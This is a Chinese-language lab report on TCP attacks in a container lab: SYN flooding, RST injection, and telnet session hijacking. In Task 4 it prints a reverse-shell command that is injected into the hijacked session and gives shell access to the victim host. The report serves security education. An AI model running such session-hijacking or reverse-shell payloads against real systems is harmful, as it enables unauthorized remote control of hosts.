- 环境准备
- Task 1
- Task 1.1
在这个实验中，我们使用容器号为ae的seed-attacker运行攻击程序，容器号为55的victim作为受害者主机
尝试使用telnet登录受害者主机，发现虽然延迟了一段时间，但最终还是成功登录，攻击失败
- TCP缓存策略：如果主机与某一地址建立过TCP连接，那么之后一段时间如果该地址重复发来TCP连接请求，主机依然会使用之前建立的连接状态，而不是重新建立新的连接状态，就像把TCP连接缓存起来了一样，直到cache过期，这个连接状态存储的位置就是队列为"已验证的目的地"保留的四分之一空间
查看受害者主机的TCP Cache，发现有缓存，telnet登录（包括发起的SYN Flooding）使用的可能就是这个cache，于是使用ip tcp_metrics flush命令清空缓存
- VirtualBox保护策略：受害者主机收到SYN后，返回SYN+ACK给攻击者主机，但受害者的NAT服务器收到SYN+ACK后，因为源IP地址是随机地址，NAT并没有建立过该地址的映射条目，于是向受害者返回RST，使受害者删除了半连接条目。这里我们使用的是docker容器，不存在这个问题
- TCP重传：如果受害者建立半连接状态后，没有收到第三次握手，就会重新发送SYN+ACK，这个过程会重复5次，否则删除该状态，每次当一个连接状态被移除时，一个slot就会打开。SYN Flooding包和合法的telnet连接请求包将争夺这个slot。Python 程序运行速度较慢，可能输给合法的telnet数据包，我们的解决办法是同时运行多个攻击程序
- 受害者主机会有一个保存已经建立半连接状态的队列，我们减小队列的大小，减小到80，注意队列中四分之一的空间是为"已验证的目的地"保留的，所以有效队列大小只有60
重新运行攻击程序，发现telnet登录失败，报错连接超时，证明我们攻击成功！
使用netstat命令发现建立了大量半连接状态（SYN_RECV）
查看当前系统中处于SYN_RECV状态的网络连接数，发现超过了设定的最大阈值——60
- TCP缓存策略：如果主机与某一地址建立过TCP连接，那么之后一段时间如果该地址重复发来TCP连接请求，主机依然会使用之前建立的连接状态，而不是重新建立新的连接状态，就像把TCP连接缓存起来了一样，直到cache过期，这个连接状态存储的位置就是队列为"已验证的目的地"保留的四分之一空间
- Task 1.2
使用telnet请求连接受害者主机，发现连接失败，报错超时，证明攻击成功
使用netstat查看当前网络状态，发现建立了大量半连接状态（SYN_RECV）
查看当前系统中处于SYN_RECV状态的网络连接数，发现超过了设定的最大阈值——96（128的四分之三）
- Task 1.3
重新发起攻击，发现虽然延迟了一会儿，但最终telnet成功登录，攻击失败
查看当前系统中处于SYN_RECV状态的网络连接数，发现已经超过了最大阈值128，但是依然能继续成功建立TCP连接
- Task 1.1
- Task 2
在另一台主机上尝试连接受害者主机，发现连接被受害者中断，说明我们伪造受害者主机的RST数据包成功发送，攻击成功！
- Task 3
这里使用受害者主机（10.9.0.5）作为telnet服务器端，在另一台主机（10.9.0.6）上登录受害者主机，攻击者主机伪造telnet数据包，劫持他们的telnet会话并注入恶意命令
使用wireshake抓包分析telnet数据包，发现命令和命令回显结果通过data段传输，要修改的就是这一部分
我们将会话劫持之后，已经将下一个数据包发送给服务器了（ACK已经+1），操作系统收到重复乱序的数据包直接丢弃，服务器没有收到客户端的字符，自然无法回显。
- Task 4
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
在另一台主机上使用telnet登录受害者主机，完成身份验证过程
发现telnet会话被劫持，客户端用户无法输入命令使用shell
查看nc的端口监听情况，发现成功进入受害者的shell中，并且可以执行命令，劫持攻击成功！
- 总结
RST表示复位，用来异常的关闭连接。TCP RST攻击是攻击者针对 AB 间建立的会话，通过 RST 将其中止以实现攻击。防御手段是可以使用防火墙将进来的包带RST位的包丢弃。
这些漏洞存在的原因都是因为TCP协议在设计的时候没有考虑到安全性的要求，协议本身就存在着漏洞，因此后人只能不断地提出一些方法来弥补漏洞，提示我们在设计协议等应用时，一定要充分考虑其安全性。